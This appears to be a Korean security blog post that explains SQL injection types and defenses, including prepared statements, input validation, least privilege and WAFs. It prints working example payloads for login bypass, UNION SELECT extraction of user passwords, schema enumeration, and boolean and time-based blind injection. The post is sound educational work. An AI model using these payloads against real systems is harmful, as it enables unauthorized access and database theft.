본문 바로가기
Security보안/웹어플리케이션 보안

로그인 우회부터 DB 탈취까지: SQL 인젝션 유형 정리

by ICT리더 리치 2025. 8. 8.
반응형

SQL 인젝션은 단순한 로그인 우회에서 시작해, 데이터베이스 전체를 장악하는 무서운 해킹 기술입니다. 웹 보안을 제대로 이해하려면 그 유형부터 대응 전략까지 정확히 알고 있어야 합니다.

안녕하세요, ICT리더 리치입니다. 오늘은 실무에서 자주 접하는 SQL 인젝션 공격의 주요 유형들을 예시 코드와 함께 정리하고, 실제 웹서비스를 안전하게 보호할 수 있는 대응 전략까지 꼼꼼히 알려드리려 합니다. 특히 로그인 우회 공격, 데이터 추출, 블라인드 인젝션 등 상황별 구체적 대응법과 함께, 개발 코드에서 무엇을 절대 놓쳐선 안 되는지도 정리했습니다. 지금부터 함께 보시죠.

SQL 인젝션 유형을 분석 중인 여성 보안 전문가 인포그래픽
로그인 우회부터 DB 탈취까지, 웹보안을 위한 SQL 인젝션 완전 정복!

1. SQL 인젝션이란 무엇인가요?

SQL 인젝션(SQL Injection)은 웹 애플리케이션이 사용자 입력값을 적절히 검증하지 않아 공격자가 악의적인 SQL 문을 삽입하고 실행하도록 유도하는 공격 방식입니다. 이로 인해 인증 우회, 데이터베이스 정보 노출, 심지어 시스템 권한 탈취까지 가능해집니다. 웹 보안의 가장 기본이자 핵심 공격 벡터로, 지금 이 순간에도 수많은 사이트가 SQL 인젝션에 노출되고 있습니다.

2. 로그인 우회 공격 사례와 예시 코드

SQL 인젝션에서 가장 쉽게 시도되는 형태가 로그인 우회입니다. 인증 절차가 문자열 연결로 구현된 경우, 다음과 같이 인증 로직을 우회할 수 있습니다.

// 취약한 쿼리 예시
$query = "SELECT * FROM users WHERE id = '$id' AND pw = '$pw'";

// 공격 입력
id: admin' --
pw: (비워둠)

// 실행 쿼리
SELECT * FROM users WHERE id = 'admin' -- ' AND pw = '';
// → 주석으로 비밀번호 조건 무력화

① 주석을 활용한 조건 제거

입력값에 -- 또는 #을 삽입하면 이후 조건이 무시됩니다. 인증 조건을 제거하는 데 자주 사용됩니다.

② OR 조건 삽입으로 무조건 참 유도

id: ' OR '1'='1
pw: 아무거나
→ 결과 쿼리:
SELECT * FROM users WHERE id = '' OR '1'='1' AND pw='abc';
// → 항상 TRUE로 로그인 가능

③ 오류 유도로 내부 구조 유추

잘못된 SQL 문을 고의로 입력해 에러 메시지를 출력시켜, 테이블/칼럼명 등의 내부 구조를 유추할 수 있습니다.

3. DB 탈취를 위한 SQL 인젝션

로그인 우회는 빙산의 일각입니다. 공격자는 UNION SELECT, 정보 스키마 접근 등을 통해 모든 테이블 정보를 추출할 수 있습니다. 다음은 이메일과 비밀번호가 포함된 유저 테이블의 데이터를 탈취하는 예시입니다.

// 취약한 검색 기능에서 UNION SELECT로 데이터 노출
// 원래 쿼리
SELECT name, email FROM members WHERE name LIKE '%홍길동%';

// 공격자가 입력한 검색어: ' UNION SELECT id, password FROM users --

결과 쿼리:
SELECT name, email FROM members WHERE name LIKE '%' UNION SELECT id, password FROM users -- %';

// 결과적으로 사용자 ID와 해시된 비밀번호가 화면에 출력됨

이러한 공격은 검색, 게시판, 댓글 입력창 등 사용자 입력이 반영되는 모든 영역에서 발생할 수 있습니다.

① UNION SELECT로 병합 출력

검색창 입력:
' UNION SELECT id, password FROM users --

쿼리 결과:
기존 SELECT 결과에 유저 테이블의 ID/PW가 병합되어 출력됨

② INFORMATION_SCHEMA로 구조 수집

SQL 인젝션으로 접근 가능한 시스템 테이블 INFORMATION_SCHEMA를 통해 DB 구조까지 모두 파악할 수 있습니다.

SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='mydb';

③ LIMIT와 OFFSET으로 페이징 조회

대량 데이터를 페이지 단위로 하나씩 읽으며 자동화 도구로 추출하는 기법입니다.

SELECT email FROM users LIMIT 0,1
SELECT email FROM users LIMIT 1,1
SELECT email FROM users LIMIT 2,1 ...

 

해킹 경고창을 바라보는 여성 전문가의 정면 모습
웹 해킹 방어를 위한 실전 대응, 우리 시스템은 안전할까?

4. 블라인드 SQL 인젝션의 원리

블라인드 SQL 인젝션은 에러 메시지나 출력이 차단된 상황에서 서버의 응답 시간이나 참/거짓 결과를 활용해 내부 정보를 추론하는 방식입니다. 공격자는 조건문을 반복적으로 실행하여 하나씩 값을 유추해냅니다.

// 블라인드 SQL 인젝션 예시
// 사용자가 입력한 URL:
// https://example.com/item.php?id=1 AND (SELECT SUBSTRING(version(), 1, 1)) = '5'

→ 응답 결과가 정상이라면 DB 버전의 첫 글자가 '5'인 것
→ 반복적으로 조건을 바꾸어 데이터 추출 가능

// 시간 기반 공격
?id=1' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)--+

→ 조건이 참이면 서버가 5초간 응답 지연 → 참 여부 판단

① Boolean 기반 조건 분기 공격

조건이 TRUE일 경우 정상 응답, FALSE일 경우 에러 페이지로 연결되는 패턴을 분석하여 정보를 추출합니다.

?id=1 AND (SELECT 1 FROM dual WHERE database() LIKE 'mydb%')

② Time-based Blind SQL Injection

SLEEP(), BENCHMARK() 함수를 활용하여 조건이 맞으면 서버 응답을 지연시키는 방식으로 데이터 추론이 가능합니다.

?id=1' AND IF(SUBSTRING((SELECT user()),1,1)='r', SLEEP(5), 0)--+

③ Binary Search + ASCII 조합

ASCII 코드와 이진 탐색을 조합해 데이터 값을 한 글자씩 알아내는 고급 해킹 테크닉입니다.

IF(ASCII(SUBSTRING((SELECT database()),1,1)) > 109, SLEEP(5), 0)

5. SQL 인젝션 대응 전략 완벽 정리

SQL 인젝션을 막기 위해서는 다음과 같은 전략을 반드시 구현해야 합니다. 단순 필터링이 아닌, 구조적인 방어가 핵심입니다.

  • Prepared Statement 사용: 쿼리를 컴파일하고 파라미터를 나중에 바인딩해 SQL 인젝션을 원천 차단
  • 입력값 검증: 화이트리스트 기반 입력 검증과 정규식 활용
  • DB 권한 최소화: 서비스용 DB 계정은 SELECT, INSERT 등 최소 권한만 부여
  • 에러 메시지 출력 금지: 시스템 내부 정보 노출 차단

6. 실무에서 반드시 지켜야 할 보안 코딩 팁

보안을 고려한 개발은 단순한 기능 구현을 넘어, 인프라 전체를 보호하는 첫걸음입니다. 아래는 실무에서 반드시 실천해야 할 보안 코딩 원칙입니다.

  1. 쿼리 작성 시 항상 Prepared Statement 또는 ORM 사용
  2. 모든 입력값은 서버에서 검증. 클라이언트 검증은 보조일 뿐
  3. 관리자 페이지는 IP 제한, 2단계 인증 적용
  4. 로그인은 실패 횟수 제한 및 지연 처리 적용
  5. 웹 방화벽(WAF) 적용 및 실시간 공격 탐지 로깅 구현

보안 로그를 점검 중인 남성 개발자 인포그래픽
웹 개발자라면 반드시 이해해야 할 SQL 인젝션 유형 정리

7. 자주 묻는 질문 (FAQ)

Q SQL 인젝션은 모든 데이터베이스에서 발생하나요?

MySQL, MSSQL, Oracle, PostgreSQL 등 대부분의 RDBMS에서 발생할 수 있습니다. 단, DBMS에 따라 문법 차이는 존재합니다.

Q Prepared Statement만 쓰면 완벽히 방어할 수 있나요?

Prepared Statement는 강력한 방어 수단이지만, 사용자 입력 검증, 에러 노출 차단 등과 함께 종합적으로 적용해야 합니다.

Q 웹 방화벽(WAF)은 SQL 인젝션을 막아주나요?

WAF는 알려진 패턴 기반의 공격은 차단할 수 있으나, 우회 기법까지 완벽히 막기는 어렵습니다. 방어의 한 축으로 활용해야 합니다.

Q 해커가 실제로 사용하는 SQL 인젝션 자동화 도구는 무엇이 있나요?

SQLMap, Havij, jSQL, NoSQLi 등 자동화 도구들이 실전 해킹에 자주 사용됩니다. 테스트 환경에서만 학습용으로 활용하세요.

Q 보안 점검 주기는 어느 정도가 적절한가요?

보안 점검은 정기적으로 분기마다 1회 이상, 특히 서비스 업데이트 시 반드시 재점검이 필요합니다.

8. 마무리 요약

✅ SQL 인젝션, 이해와 대응이 생존의 핵심입니다

SQL 인젝션은 웹보안의 가장 기본적인 위협이지만, 여전히 많은 웹사이트가 무방비 상태로 존재합니다. 이번 포스팅에서는 로그인 우회, 데이터베이스 추출, 블라인드 공격 등 다양한 유형을 실제 코드와 함께 분석했고, 대응 전략을 체계적으로 정리했습니다. 이 글을 통해 보안의식이 더욱 강화되길 바랍니다. 지금 이 순간, 여러분의 쿼리는 안전하신가요?

반응형